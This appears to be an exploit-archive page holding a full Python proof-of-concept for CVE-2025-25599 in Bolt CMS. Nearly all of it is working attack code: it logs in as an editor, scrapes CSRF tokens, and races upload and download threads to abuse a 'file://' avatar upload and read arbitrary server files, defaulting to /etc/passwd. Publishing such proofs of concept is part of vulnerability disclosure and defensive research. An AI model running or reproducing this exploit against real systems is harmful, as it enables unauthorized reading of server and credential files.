4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/python3

# William Moody (@bmdyy)
# Certitude Consulting GmbH

import time
import threading
import argparse
import os
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote_plus
from colorama import init as colorama_init, Fore, Style

parser = argparse.ArgumentParser(
    description="Proof of concept script for CVE-2025-25599",
)
parser.add_argument("-u", "--username", help="Username of a user who has the EDITOR role or higher", required=True)
parser.add_argument("-p", "--password", required=True)
parser.add_argument("-U", "--url", help="URL for website running Bolt CMS (e.g. http://127.0.0.1)", required=True)
parser.add_argument("-f", "--file", help="(Optional) Full path of the file to download (Default: /etc/passwd)", default="/etc/passwd")
parser.add_argument("-v", "--verbose", action="store_true", help="(Optional) Increase verbosity")
parser.add_argument("-o", "--out", help="(Optional) Path to store downloaded file")
args = parser.parse_args()

# Normalize URL
if args.url.endswith("/"):
    args.url = args.url[:-1]

colorama_init()

s = requests.Session()

# Verify Bolt
r = requests.get(f"{args.url}/bolt", allow_redirects=False)
if r.status_code != 302:
    print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Could not find Bolt login page")
    exit(1)
else:
    if args.verbose:
        print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Found Bolt login page")

# Login as user
r = s.get(f"{args.url}/bolt/login")
soup = BeautifulSoup(r.text, features="lxml")
_token = soup.find("input", {"name":"login[_token]"})["value"]
if args.verbose:
    print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _token = {_token}")

r = s.post(
    f"{args.url}/bolt/login",
    headers={"Content-Type":"application/x-www-form-urlencoded", "Referer":f"{args.url}/bolt/login"},
    data=f"login[username]={quote_plus(args.username)}&login[password]={quote_plus(args.password)}&login[remember_me]=1&login[_token]={quote_plus(_token)}",
)

if "admin__toolbar" not in r.text:
    print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Login failed")
    exit(1)
else:
    print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Logged in as \"{args.username}\"")

# Get CSRF token for profile edit page
r = s.get(f"{args.url}/bolt/profile-edit")
soup = BeautifulSoup(r.text, features="lxml")
_csrf_token = soup.find("editor-image")[":csrf-token"].replace('"',"")
if args.verbose:
    print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _csrf_token = {_csrf_token}")

# Define threads
exploited = False

def t_upload():
    global exploited

    while not exploited:
        r = s.post(
            f"{args.url}/bolt/async/upload-url?location=files&path=avatars",
            files={"url": (None, f"file://{args.file}"), "_csrf_token": (None, _csrf_token)}
        )
        time.sleep(0)

basename = os.path.basename(args.file)
def t_download():
    global exploited, basename

    while not exploited:
        r = requests.get(
            f"{args.url}/files/tmp/avatars{basename}"
        )
        if "No route found for" not in r.text:
            print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Downloaded \"{args.file}\"{f" to \"{args.out}\"" if args.out else "\n"}")
            if args.out:
                with open(args.out, "w") as f:
                    f.write(r.text)
            else:
                print(r.text)
            exploited = True
        time.sleep(0)

# Start threads
print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} Starting upload and download threads...")
t1 = threading.Thread(target=t_upload)
t2 = threading.Thread(target=t_download)
t1.start()
t2.start()
t1.join()
t2.join()